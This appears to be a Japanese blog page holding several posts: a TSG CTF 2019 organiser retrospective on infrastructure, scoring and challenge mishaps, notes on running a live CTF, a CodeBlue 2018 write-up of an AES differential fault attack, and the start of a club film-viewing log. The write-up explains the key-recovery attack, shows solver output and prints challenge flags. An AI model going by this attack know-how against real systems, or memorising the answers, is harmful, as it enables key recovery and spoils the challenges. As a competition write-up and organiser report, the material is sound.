CTFdのテーマはJinja2のテンプレートとして実装されていますが、CTFd v2 ではアプリケーション駆動に必要な JSON API が非常に充実していることもあり、TSG CTF のテーマではテンプレートに渡されるパラメーターを全て無視し、サーバーとの通信は全て JSON API 越しに行っています。(ちなみに、CSRFトークンだけAPI越しに取得できなかったのでテンプレートに直接埋め込んであります)
API越しに取得したデータはNuxtの流儀に乗っ取りVuexにストアされ、VueのバインディングによってDOMの内容が動的に書き換わるようになっています。これによって、結果的にCTFdの堅牢性とSPAの軽量さを兼ね備えたスコアサーバーを提供できたと思っています。
また、CTF終了後、ある程度のSSR化実装とNuxt.jsのgenerate機能によって比較的簡単に静的サイトの生成を行うことができました。現在もスコアサーバーは静的サイトの状態で公開されていますが、これはNuxt.jsの恩恵に預からなければ実現不可能だったと思います。実装の過程で各種Vueライブラリを大幅に活用できましたし、やはり書きやすさの面でも機能面でもNuxtは非常に優れたフレームワークだと感じました。
今回実装したカスタムテーマのソースコードはこちらで公開しています。
問題添付ファイル
今回の TSG CTF では、CTFd v2 で導入された新しい機能をふんだんに使わせてもらっていますが、そのうちの一つが添付ファイルのS3アップロード機能です。
TSG CTF の開催直前に行われたSECCON令和CTFが開始直後にサーバーダウンしたことを受けて、サーバー負荷に対しては我々としてもかなり慎重になっていました。その過程で、特に問題の添付ファイルのダウンロードの負荷だけでも下げたいと思ったため、アプリケーションを通さず負荷が小さいS3バックエンドを利用することにしました。
ちなみに今回のインフラ構成では全面的にGCPを利用していますが、実はCTFdの添付ファイルのアップロード先にも (S3ではなく) Google Cloud Storage を用いています。CTFdからのアクセスにはS3互換APIを用いました。最終的にソースコードを書き換える必要もなく、特に問題もなくS3バックエンド機能を利用できたため非常に満足度が高かったです。
注意点として、Google Cloud Storage でバケットを公開するとデフォルトで Storage Obejct Getter 権限が付与されますが、この権限にはstorage.buckets.list権限が付与されているためAPIを叩くとバケットのファイル一覧を取得することができてしまいます。特にCTFdのバックエンドサーバーとして利用した場合はまだ公開されていない問題のファイルが漏洩してしまうため、必ずstorage.buckets.list権限を外した状態で公開しましょう。
問題のスコア配分
今回の TSG CTF では、近年のCTFで主流の、回答したチーム数が多いほどスコアが下がる動的スコアを採用しています。このシステムはオリジナルの「ジョパディ!」のルールからは逸脱していますが、やはり作問者側から問題の難易度を事前評価することの難しさを考えると、「難しい問題ほど得点が高い」という原則を遵守する上で最もフェアなシステムなのではないかと思います。
ちなみに、気づいた人も多いと思いますが、今回出題した問題のスコアは最後まで初期スコアからほとんど下がりませんでした。
全体的に回答チームが少なかったというのもありますが、例えば11チームが回答した Super Smash Bros でも 500pts → 496pts と、初期スコアから1%も変動していません。ある程度下がっているとは言え一般的なCTFと比べてあまりに下げ幅が小さすぎるという意見もあるかと思いますが、これは主に我々の事前チェックが不十分だったためです。スコアの計算にはCTFdの動的スコアプラグインを利用したのですが、このプラグインは回答チーム数に対して線形に減少するように作られておらず、最初は緩やかに減少し、最終スコアに近づくにつれて急激にスコアが下がるようになっています。
今回は全問題に対して {初期スコア = 500pts, 最終スコア = 100pts, 最終スコアまでのチーム数 = 100チーム} という設定を行いましたが、設定に対して最初の下がりペースが我々の予想以上に緩やかでした。「線形に減少するわけではない」という特性を把握した上で、事前に計算式に手を加えるなどの対策をしておくべきだったと反省しています。
インフラ
前述の通り、今回の TSG CTF のインフラにはGCPを用いました。スポンサーのFlattさんのおかげでインフラ用の予算にはかなり余裕があったので、我々としてもかなり自由にいろいろやることができました。具体的な取り組みの例を以下に紹介します。
アクセス監視
個人的に、CTFに参加するプレイヤーは歴戦のならず者集団だと思っている (褒め言葉です) ので、怪しいアクセスの監視に関しては通常の運用以上に気を使っています。このあたりは主に本大会のインフラ担当である@kcz146が担当してくれました。
大会中、Discordで以下のようなアナウンスを何度か目にしたと思います。
今回の大会では、サーバーに対するアクセスに敏感にかつ精度よく反応することができました。大会中は、GCP Computing Engine へのアクセスをStackdriverを通して可視化し、以下のような画面を常にモニタリングしていました。
グラフの1本の線が1IPアドレスのアクセス数を表しています。通常のアクセス時には上のようにアクセスはまばらになりますが、DoSまがいの異常アクセスが続いた場合はグラフが以下のように跳ね上がります。
実際の運用では、このダッシュボードの情報をもとにDiscord上でアナウンスを行ったりファイアウォールの設定を変更したりしました。結果、(問題の構成について後述するようないくつかの反省点はあるものの) 不正なアクセスに関して大きなトラブルもなく無事に大会を終えることができました。
負荷監視・死活監視
サーバーへのアクセスとともに、サーバー自体の負荷についても同様に監視を行いました。負荷監視に関してはmackerelを採用しました。
Mackerelでは上の画面のようなダッシュボードで自由にレイアウトを変更することができ、ひと目でサーバーの状態がわかるようになっています。今回は全体で4台のサーバーでオペレーションを行ったので、上のようなダッシュボードを作成して常にモニターに映し出していました。
また、Dockerイメージを用いて、クラウド環境でも簡単に監視環境を導入することができました。サーバー監視にはあまり多くの労力を費やしたくなかったため、この点でもMackerelは非常に優秀なサービスであるように感じました。
また、いくつかの問題に関しては別途死活監視を行っています。特に@y0n3uchyおよび@moratorium08作成の問題に関しては定期的にソルバスクリプトを走らせて、問題として回答可能かどうかを監視してSlackに状況を通知するようになっていました。このあたりは彼のSECCONでの運営経験が大いに活きています。
(ちなみに SECCON Beginner CTF での各問題のステータスバッジがすごく良かったので、今後パクらせてもらうかもしれません)
Docker
TSG CTF では、作問からデプロイまでDockerを大いに活用しています。作問時にはdocker-composeとして実行可能な状態で提出してもらい、どの問題も1コマンドで立ち上げられるように準備しました。環境の異なる問題を大量に作成する上で、やはりDockerイメージによる仕組みは非常に便利ですし、本番環境で動かないなどのトラブルもなく非常に安定してデプロイすることができました。
一方で、CTFの運営においてDockerをランタイム環境として使用することはセキュリティの観点から賛否両論あるかと思います。これに関してはgVisorやVMの採用なども含めて今後もさらに検討していくべき事項だと思いますが、特に今回の TSG CTF で行った対策として、問題のデプロイ先の環境にGoogleが提供する Container-Optimized OS を採用しました。
このOSはDockerへのセキュリティ的な懸念からシステムやファイアウォールに様々な改善が加えられたOSであり、特に/tmpと/home以外のほとんどのファイルシステムがread-onlyでマウントされ、またDocker以外の実行ファイルの実行もできないようになっているため、仮にDockerがjailbreakされても破壊的な操作ができないようになっています。
これに伴いdocker-composeの立ち上げやインストールなどの手間が若干面倒になりますが、個人的にはこのあたりがCTFという特殊な大会を運営する上で丁度いい妥協点なのではないかと思いました。
ロードバランス
上で述べたとおり、今回の TSG CTF ではサーバーの負荷に関してだいぶ気を配っていたので、本番では負荷分散のため複数台構成によるロードバランシングを構成しました。これには Google Computing Engine の Load Balancer 機能を、データベースの集約には Google Cloud SQL を使用しています。
本番中、複数台で捌いていたのは特に高負荷が予想される大会開始から数時間程度のみで、それ以外の時間は (コスト削減のため) 負荷を見ながらインスタンスを減らしてゆき、最終的には一台のサーバーで運用しました。
この手のロードバランスの調整や新規インスタンスの投入は通常かなりの手間がかかるものですが、GCPのロードバランス機能を用いることで特に何も考えずWebコンソールからポチポチするだけでクラスターが構成できましたし、(今回そのような事態にはなりませんでしたが) 仮にスコアサーバーにDoS並のアクセスがあったとしても即座に新規インスタンスを立てて投入できる体制になっていました。まさにIaaS様々といった感じです。
裏話として、実はこのクラスタ構成をする上でいくつかサボった点がありまして、今回の運用ではCTFdの公式リポジトリで配布されているdocker-composeの構成をほぼそのまま流用しているため、セッションストアとしても利用しているRedisを一台に集約するのをサボっていました。ロードバランサーではアクセス元のIPアドレスごとに固定のサーバーが割り当てられるように設定していたので、アクセスごとにセッションが切れるということはなかったはずですが、運営側で新規サーバーの投入や変更ごとにセッションが切れるのが頻発したかと思います。ひょっとするとたびたびログアウトさせられてストレスになったかと思いますが、今後はRedisサーバーを集約するなどして正しく構成していきたいなと考えています。
プッシュ通知
今までCTFプレイヤーとしてCTFに参加してきた経験から、「新しい問題がリリースされたのにしばらく気づかない」という問題に悩まされ続けてきました。そこで TSG CTF では、新しい問題をリリースしたという情報がなるべく即座に全プレイヤーに行き渡るよう、しつこく通知を送る仕組みを構築しようと考えていました。
その中でも特に挑戦的な試みとして、今回の TSG CTF ではスコアサーバーからWebプッシュを配信しました。CTFd自体にも通知を表示する機能がありますが、それと併用してOneSignalという通知プラットフォームを利用し、問題を追加するごとにブラウザレベルの「ちゃんとした」WebPushがモバイルでもデスクトップでも通知されるようになっていました。
ただ、サイトにアクセスしてすぐに「通知を許可しますか?」のような画面が表示されるのに面食らった人も多いかもしれません。実際OneSignalのコンソール画面から確認できる通知を有効にした人数は、CTF終了時点で248人と、1チームあたり平均0.5人程度しか通知を有効にしていませんでした。このあたりは一般的な通知戦略と同じだと思いますが、ページを表示してすぐに通知許可を求めず、ユーザーが任意に通知を許可できるようにするなどの仕組みが必要だと感じました。
また、スコアサーバーでWebプッシュを送信するというのが一般的でないのも通知有効化率が低い遠因だと思われるので、CTFプレイヤーとしてもこのような仕組みが世の中にも広まって欲しいと願う次第であります。
ちなみに TSG CTF ではこのWebPushを含め、スコアサーバー、Twitter、Discordと同一の通知を4箇所に配信しています。手作業でこれらを管理するのは大変なので、簡単なスクリプトを書き、通知文を (英語と日本語で) 書けば自動で通知を送信してくれる仕組みになっています。
当日の流れ
⋯⋯というようなことを当日までに行ったのですが、ゴールデンウィーク効果もあって直前は比較的余裕のあるスケジュールで本番を迎えることができました。CTF運営者として24時間状況を監視しないといけないということもあり、本番直前はよく睡眠を取り、東大の本郷キャンパスに場所を借りて数名で泊まりがけの運営体制を取りました。メンバー全員が同じ大学の大学生だとこういう時に集まるのが容易なのでありがたい限りです。
直前に問題の最終チェックを行い、スコアサーバーへの問題登録、ロードバランスの設定、アクセス監視の設定などを行い、CTF開始後はDiscordでの応対、開放する問題の選定などを集まったメンバーで行いました。
(後半はだいぶ暇だったので主に@satosが持ち込んだ Baba is You で遊んでました。)
トラブル: Obliterated File
今回の TSG CTF, 全体を通して大きなトラブルはなかったと思いますが、いくつかの問題では我々の想定していない事態に発展したものもあります。そのうちの1つが Obliterated File でした。
詳しくは作問者によるWriteUpを参照してもらいたいのですが、一言で言うとこの問題はGitリポジトリのファイルシステム内を調査する問題で、Git上から完全に消去されたと覚しきファイルを復元せよというものです。こちらの問題では実際には適切にコミットログからフラグファイルが削除されておらず、想定より容易に辿れるコミットをチェックアウトするだけでフラグが手に入るという、我々の想定外の解法が存在する不備がありました。
問題公開から十数分後、あまりに回答ペースが早いことから不審に思い、運営側で問題の調査を行って発覚しました。不備発覚後、作問者の@taiyoslimeが新たに修正したファイルを新しい問題として公開し、リカバリーを行いました。問題の公開停止や点数差し戻しなどの事態に発展しなかったので大きな問題ではなかったと思いますが、事前にチェックできなかったのは運営側のミスだったと思います。
この問題も他の問題と同じく、事前にテスターによるテストを行っていたのですが、テスターには想定解法で解かれてしまったためこの不備に気づくことができませんでした。我々はどちらかというと「問題のクオリティ」に主眼をおいて問題のテストを行っていたのですが、それ以外にも「想定外の解法が存在しないか」「問題を破壊することができないか」といった運営上の都合にも目を配るべきだと反省しました。
また、この問題はForensicsというより比較的Miscに近い問題ということもあり、特別に得意なメンバーがいたわけではなく、テストがなかなか進まなかったのも今回の不備の遠因ではないかと考えています。そういった意味で、上に挙げたような「尖った問題」を作ることの難しさを感じたとも言えます。
トラブル: Secure Bank
もう一問、Secure Bank という問題でも小さなトラブルがありました。こちらはRubyで書かれた普通のWeb問題なのですが、問題公開からしばらくして「サーバーが重くて繋がらない」というフィードバックがDiscordに多く寄せられました。本大会では上の通りサーバー負荷を常に監視しており、サーバー自体はほとんど負荷が上がっていなかったため訝しんだのですが、問題のページにアクセスしてみると実際にとても重い。
原因は、DoS防止のためアプリケーション中に挿入していたsleep関数の処理待ちによるものでした。問題のアプリケーションはSinatraで記述されていたのですが、通常Sinatraでのレスポンスは同期的に逐次処理されるため、sleepが完了するまで他のリクエストがブロッキングされていたのです。幸い作問者の@kczがRubyを完全に理解していたので、原因を特定したあと彼が急遽Sinatraの外側にpumaサーバーを実装して並列化を行い (512並列 (!) 設定にしました)、大幅にリクエスト処理数を上げることに成功しました。
このあたりもやはり、多くの人がアクセスして初めて発覚する問題ということもあり、事前の問題チェックでは気付きにくいポイントだったなあと感じています。
反省点など
n億回アクセスしたら解けるよ! という問題設定にしない
本大会のアクセス監視全体を通して、DoSまがいの高頻度アクセスが検知されたのは主に Secure Bank に対するものでした。改めて整理すると、この問題の設定は以下のようなものでした。
- ユーザーは自由にアカウントを作成することができる
- アカウントを作成するとそのアカウントに100コインが入る
- アカウントから別のアカウントに送金することができる
- 100億コイン集めるとフラグが手に入る
お気づきかと思いますが、この問題ではアカウントは自由に作成できるため、特殊なハックなどを行わなくともアカウントを1億個作成して1つのアカウントに100コインずつ送金することでフラグが手に入ります (上に述べたとおりアカウント登録には1秒のsleepが挿入されていましたが、最終的にサーバーで512並列処理を行ったため最大で512倍の速度が出せます)。経験を積んだCTFプレイヤーならば、「24時間の大会で1億回アクセスするのは時間的に現実的でないし、そもそもそのような高頻度アクセスはルールにより禁止されているので想定解法ではないはずだ」と斟酌するところかと思いますが、大会に参加するのは必ずしもそのようなCTFの文化に慣れ親しんだプレイヤーだけではないことを十分に考慮するべきだったと思います。実際、事前の問題チェックにおいても、CTF初心者のTSGメンバーに見せたところ「要するに1億回アクセスすればいいんでしょ?」という反応が帰ってくるなど、CTF初心者にとっては「サーバーの論理的な脆弱性を利用する」というのは非自明な解法なのだと感じました。
このような問題設定がプレイヤーによるDoSまがいの攻撃や、ひいてはアクセスBANに繋がったとも言えるため、ちゃんとCTFに入門したばかりの人の立場にも立って考えて、「◯億回アクセスしたら解ける」というような問題設定はなるべく避ける、あるいはその過程で適切にCAPTCHAを挿入するなどの対策を行うべきだったと感じました。
フラグに解法を記述するのは相応のリスクを覚悟するべき
CTFにおける一般的な慣習として、問題を解いて得られるフラグに、問題の解法のまとめ的な文章を記述するというものがあります。例えば今回の TSG CTF のRECONは、XS-Leaksを利用する問題だったためフラグは TSGCTF{x5_l34k5_4R3_4M421ng}
にする、と言った具合です。
この慣習は、作問者としてもプレイヤーとしても、作問者による「ネタばらし」的な側面を持っており非常に楽しいものなのですが、問題に想定外の解法があった場合などはトラブルの元になります。実際、大会中に想定外の解法が発覚した今回の Obliterated File では、直接的な解法ではないものの当初のフラグに解法のヒントになるようなフレーズが含まれていたため、相対的に修正後の問題を解くのが簡単になってしまいました。
それ以外にもフラグがリークする危険を考慮して万全を期すならば、フラグはランダムな文字列などにするべきかもしれませんが、Suggestions for Running a CTF にもある通り、フラグフォーマットは一目で「正しいフラグ」とわかるようなものが望ましいため、悩ましいところです。「良いフラグ」を作るというのは存外に難しいことなのかもしれません。
事前にスコアサーバーへの問題登録チェックまで済ませておく
想定外のトラブルというのは常につきものです。我々としても多くのプレイヤーを相手にしている以上そういったトラブルはなるべくゼロにしたいですし、そのために問題のレビュー、スコアサーバーのバグテスト、負荷の確認など一通りのチェックは行っていたのですが、スコアサーバーへの問題登録だけは事前に行わず、問題公開の直前に行いました。
これについては、オペレーションミスによって公開する予定のない問題が公開されてしまうのを避けたかったのと、問題登録の段階でトラブルになる可能性は低いだろうと踏んでのことだったのですが、実際には一部の問題においてNginXのアップロードファイル制限に引っかかって問題の添付ファイルがアップロードできないというトラブルに見舞われました。
もちろん、そもそものリスクマネジメントとして、どんな場合においても想定外のトラブルというのはつきものですし、それをどこまで事前に勘案するかというのは常にトレードオフかとは思いますが、今回の場合はせめてちゃんとプレイする側に立って問題をダウンロードして解いてフラグを送信できる、というところまで事前に本番サーバーで保証してあげるべきだったかなと思っています。リスク管理、本当に難しいです。
CTF問題のレビューチェックポイント
以上のようなことを踏まえ、我々が今回学んだCTFの問題をテストする際のチェックポイントをまとめると以下のようになります。
- エスパー問でないか
- 想定外の解法が存在しないか
- 問題を破壊することができないか
- サーバーに過度な負荷がかからないか
その他の気づき
Discordでは英語でのコミュニケーションが主流だった
先述したとおり、今回設けたDiscordサーバーでは、日本語と英語の2言語をサポートし、それぞれでのコミュニケーション用にチャンネルを2つに分けました。結果から言うと、このうち日本語用のチャンネルはほとんど使われず、参加者同士のコミュニケーションの中心は英語で行われていたようです。日本人とおぼしき人たちもだいたいは英語チャンネルにいました。
これに関しては、CTF全体の難易度設定もあって、あまり英語でのコミュニケーションに不慣れな初心者が多く参加する感じではなかったのも原因の一つかなと思います。あまり日本語を話しすぎるのも海外からの参加者に不親切ですし、もし次回開催するならばチャンネルは英語一本に絞ってもいいかもしれません。
問題文について
これは割とどうでもいい話ですが、今回の TSG CTF の問題文、物によってはだいぶふざけた感じになっています。
- 0000000000000000
- ja: 天気がいい日に大学で写真を撮ったよ
- en: I took a photo at university on a sunny day~~
- OMEGA
- ja: Ω < ゴロンゴロン(環っかが転がる音)
- en: A ring in the shape of omega is there...
- Curved
- ja: 曲がり角は駐車禁止ですよ?
- en: If you get curved, then...
だいたい日本語の説明文と英語の説明文が対応してないですし、そもそも問題に対して何のヒントも与えてないので完全にただのお遊びなのですが、終了後のアンケートでは比較的参加者に好評でした。特に日本語の問題文も併記したのが日本語ネイティブにも楽しい感じになってよかったかなと思っています。
今後について
次回開催?
総合的な自己評価として、TSG CTF は大成功だった⋯⋯と思います。ぜひ来年も開催、と行きたいところですが、このままだとリーダーの私やCTFをやるTSGの主力メンバーが大学を卒業してしまうこともあり、現状、次回の開催はかなり不透明な状態になっています。我々としても世の中に楽しいCTFを増やしたいという気持ちは大きいので、今後の TSG CTF 開催に関してはなるべく前向きに検討して行きたいと思います。
今年のSECCONについて
なお、来年の話をする前に今年の話をしておくと、今年の10月に SECCON CTF 2019 の予選が、12月に本戦が開催される予定です。例年、前年度の本戦優勝チームが予選の作問に協力する慣例となっているようですが、先述の通り去年の SECCON CTF で我々が優勝したため、10月に開催される SECCON CTF Quals でTSGからも何問か出題する予定です。こちらも TSG CTF と同じくクオリティに関しては一切妥協せずやっていくつもりなので、皆さんぜひ楽しみにしていてください!
謝辞
細かいことまでつらつらと書いてたらたいへん長くなりました (この記事を書き始めてから2ヶ月が経ちました)。最後に、今回の TSG CTF に協力していただいたTSGのメンバーのみなさんをご紹介します。
- @hakatashi (リーダー・作問・レビュー・スコアサーバー・デザイン・インフラ・運営・本記事の執筆)
- @niconegoto (スポンサー・運営協力)
- @kcz146 (作問・レビュー・インフラ・運営・本記事のレビュー)
- @y0n3uchy (作問・レビュー・運営)
- @satos___jp (作問・レビュー・運営)
- @moratorium08 (作問・レビュー・運営・本記事のレビュー)
- @kurgm (作問・レビュー・運営)
- @taiyoslime (作問・レビュー・運営)
- @JP3BGY (作問協力・レビュー)
- @__dAi00 (作問協力・レビュー)
- @hideo54 (レビュー・協力)
- @naan112358 (作問協力)
- @coil_kpc (作問協力)
- @akouryy1 (特設サイト)
- @kuromunori (レビュー)
- @gh_end_ (レビュー)
- @pizzacat83 (レビュー)
また、スポンサーを含め全面的かつ甚大な協力を頂いたFlatt社のみなさん、および TSG CTF に参加していただいたみなさんにも感謝の気持ちが尽きません。本当にありがとうございました!
先日開催したライブCTFの工夫点など (付記 CodeBlue CTF 2018 Finals Fuzzy Fault Writeup)
※この記事は CTF Advent Calendar 2018 13日目の記事です。
12日はxrekkusuさんの WebAssembly解いてみる - バランスを取りたい、14日はkotarou777775さんの CTF Reversing Challenges List Baby writeupまとめ - kriwの日記 でした。
博多市が所属しているサークルTSGでは、最近 TSG LIVE! と称してライブプログラミングの生放送配信を行っている。
その中の企画の1つとして「ライブCTF」という枠を用意しており、名前の通り生放送の時間中にCTFを行う様子を配信する⋯⋯ということをやっている。
前回11月の駒場祭で行った配信の様子は以下にアーカイブされているので是非見て頂きたい。
part1 (web day)
part2 (binary day)
放送時間は1枠90分、そのうち競技時間は75分であり、通常のCTFの競技時間を考えるとどう考えても短すぎるのだが、短すぎるなりに面白く見せるための工夫をいくつか行っている。そもそもライブCTFという企画自体が世界的に見て珍しい取り組みだと思うので、そういった点も含めていくつか開催する上での知見を共有しておく。
近年の動画コンテンツの躍進もあるので、個人的にはプログラミング界においてもこういった生放送企画や動画などが積極的に流行してほしいと願っている。
計画
webとbinaryで放送を分ける
まず今回のライブCTFを計画する上で一番大きかったのは、出題する問題のジャンルによって「web day」「binary day」という大きな区分を設けたことである。CTFというのはけったいな代物で、ジャンルによって要求される知識分野が全く異なるため、どうしても人によって得意不得意なジャンルが出てきてしまう。時間制限内で最大限のパフォーマンスを見せるためには、やはり自分の得意なジャンルの問題が出題される方がいいに決まっているので、今回webが得意なプレイヤーにweb問を、バイナリが得意なプレイヤーにはバイナリ問をという配役を行った。これは見る側の都合として自分の興味のあるほうの配信を見ればよいという利点もあるため、かなり良い決断だったと思う。
外部への問題公開
また今回は、プレイヤー用に用意した問題を外部にも公開し、プレイヤーと同時に自由に解いてもらえるようにした。これは前回開催時の外部からの要望を踏まえてのことだったのだが、作問をする上でのモチベーションに繋がったし、本番では予想を遥かに超えて様々なひとに参加してもらえた。準備段階では「参加するとしてもせいぜい数チームやろ」などと話し合っていたのが嘘のようで、本当にありがたい話である。
作問
今回、web day の作問は@kcz146に、binary day の作問は@satos___jpに、それぞれお願いした。同じサークル内から強いプレイヤーとそれ以上に強い作問者を拠出しないといけないのはかなり大変である。
今回、駒場祭への出展が決定したのが直前だったこともあって、準備期間がとてつもなく短く、作問は本当に修羅場だった。短い期間内でハイクオリティな問題を仕上げてくれた両名には改めて感謝を捧げたい。
テストプレイ
ライブCTFの作問は、「ちゃんと時間内に解ける問題を作る」という点で、通常のCTFにましてテストプレイが大事である。前回配信ではそのあたりを怠り、2日間全チームを通して解けた問題が1問だけという結果に終わったため、今回の作問では「絶対に解ける問題」という枠を用意し、少なくとも焼き鳥では終わらないように工夫した*1。テストプレイの際には必ず最初に問題を見てから解ききるまでの時間を計測してもらい、実際に放送時間で解ける問題かどうかをよく検討した。
プレイヤーと視聴者の問題サーバーの分離
また、問題を外部公開する上で一番気を使ったのがサーバーの耐性である。実況解説を行うという都合上、プレイヤーには可能な限り快適な環境で問題をプレイしてもらわないといけない。外部からのアクセスが殺到してサーバーが重くなったり、悪意ある攻撃でサーバーが落とされたりしたら配信に大きな支障が出る。
このようなことを踏まえ、作成した問題はプレイヤー向けと視聴者向けとでまるっきり同じ2つの環境を用意し、プレイヤー向けの環境では東大の外からのアクセスを遮断するようにした。本番では内部向け環境にトラブルがあったりしたが、外部向け環境で競技を続行することができたので、多重化が意図せずよく機能したとおもう。
本番
インフラ
今回、スコアサーバーおよび問題サーバーはGCPに置き、スコアサーバーはオープンソースのCTFdを使用した。このあたりの環境は全部インフラ担当の@kcz146が管理・構築してくれた。本当に感謝。
また、@kcz146は先に述べたとおり作問にも参加していたため、ライブCTF本番ではプレイヤー・実況解説も担当している。トラブルがあった時の対応のためにできればインフラ担当と分けておきたかったが、どうしても人員が足りなかったので妥協した*2。配信ではインフラには大きなトラブルがなくて本当に良かった。
おまけ: CodeBlue CTF 2018 Finals Fuzzy Fault Writeup
おまけとして、本来 CTF Advent Calendar の内容として書く予定だったがあまりに内容が無いので没にしたCBCTFのWriteupを置いておく。
CodeBlue CTF は、セキュリティカンファレンスであるCodeBlueの併設CTFであり、日本一の強豪CTFチームであるBinjaとTokyoWesternsが主催している。我らがチームTSGはなんと予選で世界4位、日本1位という好成績を収め、厚かましくもHarekazeやNaruseJunを蹴落とし、日本唯一の本戦出場チームとして東京の会場でDragonSectorやCyKORとお目見えすることとなった。
予選の様子はこちら↓
で、その11月1日から2日にかけて行われた本戦だが、事前に予告されていなかったバイナリ問題が中心だったこともあってTSGは英気揮わず、正式なスコアボードはまだ公開されていないものの少なくとも下から数えたほうが早い状況となり、まさに世界との格の違いを見せつけられる結果となった。しかしこうして本格的なオンサイトのCTFに参加したのは初めて*3の経験で、非常にわくわくしたし、寿司はおいしかったし、いろんな知見を得ることができた。
TSGとしてはとにかくボコボコにされた大会だったが、唯一の矜持としてjeopardyのcrypto問の “Fuzzy Fault" を解いたので、ここにそのWriteupを記しておく。
問題
問題文: CBCTF Fuzzy Fault · GitHub
AESに関する問題。FLAGから生成されたAESのRoundKeyを用いてランダムなデータを暗号化した結果が与えられる。これと同時に、同じ暗号化の8~10ラウンド目において1回ずつランダムな位置のバイトがランダムな値に書き換わった結果が与えられる。このようなデータペアが5セット与えられるため、ここからFLAGを推測せよ、という内容。
正気か?
解法
@yamayu832, @lmt_swallow, @taiyoslime などのメンバーとともに取りかかった。
博多市はまずAESという単語が暗号化に関する何かであることしか知らなかったので、問題の趣旨を理解するのにとても時間がかかった。他のメンバーは問題を見て即AES問だと気づき、さらにこれを100%自力で解くのは不可能と悟ったらしく、関連する論文をひたすら漁る作業をしていた。
一般にこのような、暗号化の過程にエラーを加えて正しい暗号化結果と比較することによる攻撃手法は Differential fault analysis と呼ばれる。特にAESに関してはよく研究されている攻撃手法の一種らしく、調べていくうちに@taiyoslimeが以下の論文を発見した。
Low voltage fault attacks to AES - IEEE Conference Publication
この論文に書いてある手法を用いることにより、最後のRoundKeyに関しては2**32通りを全探索する必要があるものの、正常なデータと不正なデータを比較してそのRoundKeyの正しさを検証することができる。
上の論文に記載してあるのはfaultが1度のみの場合なので少しシチュエーションが違うのだが、今回のように複数回faultが注入される場合も、データの汚染区域を追っていくことで似たように考えることができる。
AES問の解法メモです #cbctf pic.twitter.com/Ckvrje4vHw
— 博多市 (@hakatashi) November 2, 2018
上の図は例えばMatrixの左から2番目、上から2番目のバイトが汚染された場合の汚染区域の変遷を追ったものである。網掛けが一重の部分は汚染が一度混ざったデータ、二重の部分は汚染が二度混ざったデータである。
汚染が二度以上混ざったデータに関しては対応するRoundKeyを推測することが不可能だが、一度までなら上の論文と同じ手法で正しい値と比較することによりRoundKeyの値を探索することができる。上の図では、最後のInjectFaultが終了した時点で、2列ぶんのバイト列が一度のみの汚染で残っているため、これらの列に関してRoundKeyの値の探索が可能である。このように、(どこが汚染されるかによるものの) 多くの場合一部の列は一度のみの汚染で済むため、マトリックス上のこのような列を特定することにより論文の手法に帰着することができる。
実際にはどの列が無事かは単一のデータペアから推測することはできないが、複数のデータペアが与えられることによって推測することができるようになる。まずそれぞれのデータペアのそれぞれの列に対してRoundKeyが求まるものと仮定してRoundKeyの候補を一覧する。その後それぞれの列に対して、2つ以上のデータペアにわたって共通するRoundKeyの候補を見つけることによって、汚染されてないデータのペアと正しいRoundKeyを導くことができる。
スクリプトを走らせて調査すると、実際にそれぞれの列に関してそのような候補が1つ存在することが分かる。
$ ruby set.rb Row 0: #<Set: {""}> #<Set: {""}> #<Set: {""}> #<Set: {""}> #<Set: {""}> #<Set: {""}> #<Set: {"", "472737445"}> #<Set: {""}> #<Set: {""}> #<Set: {""}> Row 1: #<Set: {""}> #<Set: {""}> #<Set: {""}> #<Set: {""}> #<Set: {"", "4068182999"}> #<Set: {"", "4068182999"}> #<Set: {""}> #<Set: {"", "4068182999"}> #<Set: {""}> #<Set: {""}> Row 2: #<Set: {""}> #<Set: {""}> #<Set: {"", "2922383666"}> #<Set: {"", "2922383666"}> #<Set: {""}> #<Set: {""}> #<Set: {""}> #<Set: {""}> #<Set: {""}> #<Set: {"", "2922383666"}> Row 3: #<Set: {""}> #<Set: {"", "940379498"}> #<Set: {""}> #<Set: {""}> #<Set: {""}> #<Set: {""}> #<Set: {""}> #<Set: {""}> #<Set: {""}> #<Set: {""}>
で、これで求まるのは暗号化の最後のラウンドのRoundKeyである。FLAGにたどり着くにはここから最初のラウンドのRoundKeyを求める必要があるのだが、博多市には当初この手法が皆目検討つかなかった⋯⋯が、どうやらKeyExpansionを逆算して最初のRoundKeyを求める方法はよく知られていくらしく、@kcz146がすぐに以下のスクリプトを見つけてくれた。
ctf/inverse_aes.py at master · ResultsMayVary/ctf · GitHub
このスクリプトに先程求まった最後のRoundKeyを入力すると、最初のRoundKey, 即ちフラグが求まる。
Cipher key: 596f755f4172655f5468655f42657374 As string: ‘You_Are_The_Best’
フラグはCBCTF{596f755f4172655f5468655f42657374}
である。
ソルバは以下の通り。一人で書いたのになぜかRustとNode.jsとRubyのハイブリッドである。なんでや。
cbctf2018-final/fuzzy-fault at master · tsg-ut/cbctf2018-final · GitHub
感想
非常に解き応えがあって面白い問題だった。これが正しい解法なのか知らないが、部分的に論文ゲーになったのは微妙かもしれない。いや、AESについてもっと詳しくなっておけというのはそのとおりなのだが⋯⋯。
TSG映画鑑賞会・アニメ鑑賞会の軌跡
※この記事は TSG Advent Calendar 2018 8日目のエントリです。
博多市が所属しているサークルTSGでは、映画鑑賞分科会やアニメ鑑賞分科会といった催しが定期的に行われている。
こういった交流目的のイベントが定期的に開かれるのはTSGの良い文化のひとつだと思っている。博多市がTSGを去った後も後輩諸君にはぜひ定期的にこういう鑑賞会を開催してほしい。
というわけで、今後同様の分科会を主催しようと考える将来の部員のために、またTSGの良さを人々に知ってもらうために、今までに開催した各種鑑賞会のログを残しておこうと思う。
映画鑑賞分科会
TSG映画鑑賞分科会は博多市が知る限り2013年から開催されている伝統的な (?) 分科会である。1年に1回程度の頻度で開催されており、その年に封切りされた新作アニメ映画を劇場で鑑賞するのが通例となっている。
2013年11月 『劇場版 魔法少女まどか☆マギカ [新編]叛逆の物語』 @TOHOシネマズ渋谷
@levelfourの提案により突如発生した分科会。筆者は参加せず。
思えばこれが現代まで続く伝統の始まりだった。
2014年12月 『楽園追放 -Expelled from Paradise-』 @新宿バルト9
@nolze提案の分科会。2年連続の虚淵。提案した本人が予定合わず来られないという面白トラブルに見舞われるも無事鑑賞できた。
映画の内容もSF的ロマンとスリリングなシナリオが融合した良作だったと記憶している。
2015年8月? 『心が叫びたがってるんだ。』
開催記録が見つからないが確かこれくらいの時期だったはず。
緘黙症や吃音症という扱いづらいテーマをストーリーに組み込みながら「トラウマを克服する勇気」を鮮やかに描きあげた青春物語。ヒロインの成瀬順は2018年現在も友利奈緒とともにCTF界隈のミームとなっており、ある種の必修科目でもある。
